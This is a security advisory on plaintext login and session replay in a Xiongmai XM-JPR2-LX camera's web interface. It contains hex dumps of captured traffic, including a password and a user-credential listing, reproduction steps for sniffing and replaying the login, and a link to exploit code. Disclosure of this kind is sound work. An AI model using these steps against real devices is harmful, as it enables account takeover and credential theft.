

Account takeover with traffic monitoring exploitation in XM-JPR2-LX device

@ladinas, @chandlerchen

Affected versions:

Version \leq V4.02.R12.A6420987.10002.147502.00000

Vulnerabilities Analysis:

0. Our target is the web app of the Xiongmai camera, which listen on the default 80 port.
1. With monitoring the whole traffic through wireshark, the login process of XM-JPR2-LX device is in plain text.
2. After authentication, SessionID is the only parameter to identify whether the user is legal or not.

```

00000020 4f 50 4d 6f 6e 69 74 6f 72 22 2c 20 22 52 65 74 OPMonito r", "Ret
00000030 22 20 3a 20 31 30 33 2c 20 22 53 65 73 69 6f " : 103, "Sessio
00000040 6e 49 44 22 20 3a 20 22 30 78 30 30 30 31 38 36 nID" : " 0x000186
00000050 39 46 22 20 7d 0a 00 Message_ID: LOGIN_REQ 9F" }..
000000D3 ff 00 00 00 00 00 00 00 00 00 00 00 00 e8 03 .....
000000E3 7b 00 00 00 7b 20 22 43 6f 6d 6d 75 6e 69 63 61 {...{ "C ommunica
000000F3 74 65 4b 65 79 22 20 3a 20 22 22 2c 20 22 45 6e teKey" : "", "En
00000103 63 72 79 70 74 54 79 70 65 22 20 3a 20 22 4d 44 cryptTyp e" : "MD
00000113 35 22 2c 20 22 4c 6f 67 69 6e 54 79 70 65 22 20 5", "Log inType" login in
00000123 3a 20 22 44 56 52 49 50 2d 57 65 62 22 2c 20 22 : "DVRIP -Web", "plaintext
00000133 50 61 73 73 57 6f 72 64 22 20 3a 20 22 33 6d 49 PassWord " : "3mI
00000143 34 74 38 31 54 22 2c 20 22 55 73 65 72 4e 61 6d 4t81T", "UserNam
00000153 65 22 20 3a 20 22 61 64 6d 69 6e 22 20 7d 0a e" : "ad min" }.
00000057 ff 01 00 00 07 00 00 00 00 00 00 00 00 e9 03 .....
00000067 80 00 00 00 7b 20 22 41 6c 69 76 65 49 6e 74 65 ....{ "A liveInte
00000077 72 76 61 6c 22 20 3a 20 32 30 2c 20 22 43 68 61 rval" : 20, "Cha
00000087 6e 6e 65 6c 4e 75 6d 22 20 3a 20 31 2c 20 22 44 nnelNum" : 1, "D
00000097 65 76 69 63 65 54 79 70 65 20 22 20 3a 20 22 49 eviceTyp e" : "I
000000A7 50 43 22 2c 20 22 45 78 74 72 61 43 68 61 6e 6e PC", "Ex traChann
000000B7 65 6c 22 20 3a 20 30 2c 20 22 52 65 74 22 20 3a el" : 0, "Ret":
000000C7 20 31 30 30 2c 20 22 53 65 73 73 69 6f 6e 49 44 100, "S essionID
000000D7 22 20 3a 20 22 30 78 30 30 30 30 30 30 37 22 " : "0x0 000007"
000000E7 20 7d 0a 00 }..
00000162 ff 00 00 00 07 00 00 00 00 00 00 00 00 fc 03 .....
00000172 36 00 00 00 7b 20 22 4e 61 6d 65 22 20 3a 20 22 6...{ "N ame" : "
00000182 53 79 73 74 65 6d 49 6e 66 6f 22 2c 20 22 53 65 SystemIn fo", "Se
00000192 73 73 69 6f 6e 49 44 22 20 3a 20 22 30 78 30 30 ssionID" : "0x00
000001A2 30 30 30 30 30 37 22 20 7d 0a 000007" }.
000000EB ff 01 00 00 07 00 00 00 00 00 00 00 00 fd 03 .....
000000FB 80 02 00 00 7b 20 22 4e 61 6d 65 22 20 3a 20 22 ....{ "N ame" : "
0000010B 53 79 73 74 65 6d 49 6e 66 6f 22 2c 20 22 52 65 SystemIn fo", "Re
0000011B 74 22 20 3a 20 31 30 30 2c 20 22 53 65 73 73 69 t" : 100, "Sessi
0000012B 6f 6e 49 44 22 20 3a 20 22 30 78 37 22 2c 20 22 onID" : "0x7", "
0000013B 53 79 73 74 65 6d 49 6e 66 6f 22 20 3a 20 7b 20 SystemIn fo" : {
0000014B 22 41 6c 61 72 6d 49 6e 43 68 61 6e 6e 65 6c 22 "AlarmIn Channel"
0000015B 20 3a 20 31 2c 20 22 41 6c 61 72 6d 4f 75 74 43 : 1, "A larmOutC
0000016B 68 61 6e 6e 65 6c 22 20 3a 20 30 2c 20 22 41 75 hannel" : 0, "Au
0000017B 64 69 6f 49 6e 43 68 61 6e 6e 65 6c 22 20 3a 20 dioInCha nnel" :
0000018B 31 2c 20 22 42 75 69 6c 64 54 69 6d 65 22 20 3a 1, "Buil dTime" :
0000019B 20 22 32 30 31 38 2d 30 34 2d 30 33 20 31 35 3a "2018-0 4-03 15:
000001AB 35 31 3a 31 36 22 2c 20 22 43 6f 6d 62 69 6e 65 51:16", "Combine

```

Steps to reproduce:

For exploitation, this vulnerability could be reproduced by the following steps:

1. Sniffing the target device's traffic until getting the login data;
2. Developing a Python script to replay the login traffic;

3. After successful login, we can send arbitrary requests to obtain information or set configuration according to the specification (e.g., Sending a `USERS_GET` message to get all user credentials).

```

00000033 22 30 78 30 30 30 30 30 30 37 22 20 7d 0a 00 "0x0000 007" }...
00000BAD ff 00 00 00 07 00 00 00 1c 00 00 00 00 00 c0 05 .....
00000BBD 00 00 00 00 Message_ID: USERS_GET ....

00009043 ff 01 00 00 07 00 00 00 1c 00 00 00 00 00 c1 05 .....
00009053 35 07 00 00 7b 20 22 52 65 74 22 20 3a 20 31 30 5...{ "R et" : 10
00009063 30 2c 20 22 53 65 73 73 69 6f 6e 49 44 22 20 3a 0, "Sess ionID" :
00009073 20 22 30 78 30 30 30 30 30 30 37 22 2c 20 22 "0x0000 0007", "
00009083 55 73 65 72 73 22 20 3a 20 5b 20 7b 20 22 41 75 Users" : [ { "Au
00009093 74 68 6f 72 69 74 79 4c 69 73 74 22 20 3a 20 5b thorityL ist" : [
000090A3 20 22 53 68 75 74 44 6f 77 6e 22 2c 20 22 43 68 "ShutDo wn", "Ch
000090B3 61 6e 6e 65 6c 54 69 74 6c 65 22 2c 20 22 52 65 annelTit le", "Re
000090C3 63 6f 72 64 43 6f 6e 66 69 67 22 2c 20 22 42 65 cordConf ig", "Ba
000090D3 63 6b 75 70 22 2c 20 22 53 74 6f 72 61 67 65 4d ckup", " StorageM
000090E3 61 6e 61 67 65 72 22 2c 20 22 41 63 63 6f 75 6e anager", "Accoun
000090F3 74 22 2c 20 22 53 79 73 49 6e 66 6f 22 2c 20 22 t", "Sys Info", "
00009103 51 75 65 72 79 4c 6f 67 22 2c 20 22 44 65 6c 4c QueryLog ", "Dell
00009113 6f 67 22 2c 20 22 53 79 73 55 70 67 72 61 64 65 og", "Sy sUpgrade
00009123 22 2c 20 22 41 75 74 6f 4d 61 69 6e 74 61 69 6e ", "Auto Maintain
00009133 22 2c 20 22 54 6f 75 72 43 6f 6e 66 69 67 22 2c ", "Tour Config",
00009143 20 22 54 56 61 64 6a 75 73 74 43 6f 6e 66 69 67 "TVadju stConfig
00009153 22 2c 20 22 47 65 6e 65 72 61 6c 43 6f 6e 66 69 ", "Gene ralConfig
00009163 67 22 2c 20 22 45 6e 63 6f 64 65 43 6f 6e 66 69 g", "Enc odeConf
00009173 67 22 2c 20 22 43 6f 6d 6d 43 6f 6e 66 69 67 22 g", "Com mConfig"
00009183 2c 20 22 4e 65 74 43 6f 6e 66 69 67 22 2c 20 22 , "NetCo nfig", "
00009193 41 6c 61 72 6d 43 6f 6e 66 69 67 22 2c 20 22 56 AlarmCon fig", "V
000091A3 69 64 65 6f 43 6f 6e 66 69 67 22 2c 20 22 50 74 ideoConf ig", "Pt
000091B3 7a 43 6f 6e 66 69 67 22 2c 20 22 50 54 5a 43 6f zConfig", "PTZCo
000091C3 6e 74 72 6f 6c 22 2c 20 22 44 65 66 61 75 6c 74 ntrol", "Default
000091D3 43 6f 6e 66 69 67 22 2c 20 22 54 61 6c 6b 5f 30 Config", "Talk_0
000091E3 31 22 2c 20 22 49 50 43 43 61 6d 65 72 61 22 2c 1", "IPC Camera",
000091F3 20 22 49 6d 45 78 70 6f 72 74 22 2c 20 22 4d 6f "ImExpo rt", "Mo
00009203 6e 69 74 6f 72 5f 30 31 22 2c 20 22 52 65 70 6c nitor_01 ", "Repl
00009213 61 79 5f 30 31 22 20 5d 2c 20 22 47 72 6f 75 70 ay_01" ], "Group
00009223 22 20 3a 20 22 61 64 6d 69 6e 22 2c 20 22 4d 65 " : "admin", "Me
00009233 6d 6f 22 20 3a 20 22 61 64 6d 69 6e 20 27 73 20 mo : "a dmin"s
00009243 61 63 63 6f 75 6e 74 22 2c 20 22 4e 61 6d 65 22 account", "Name"
00009253 20 3a 20 22 61 64 6d 69 6e 22 2c 20 22 4e 6f 4d : "admi n", "NoM
00009263 44 35 22 20 3a 20 6e 75 6c 6c 2c 20 22 50 61 73 D5" : nu ll, "Pas
00009273 73 77 6f 72 64 22 20 3a 20 22 33 6d 49 34 74 38 sword" : "3mI4t8
00009283 31 54 22 2c 20 22 52 65 73 65 72 76 65 64 22 20 1T", "Re served"
00009293 3a 20 74 72 75 65 2c 20 22 53 68 61 72 61 62 6c : true, "Sharabl
000092A3 65 22 20 22 20 74 73 75 65 20 74 22 20 73 20 22 : "f"

```

4. We open source our exploitation code as follows:

https://github.com/ChandlerChin/XiongmaiCamera/blob/main/XMJP_exe.ppy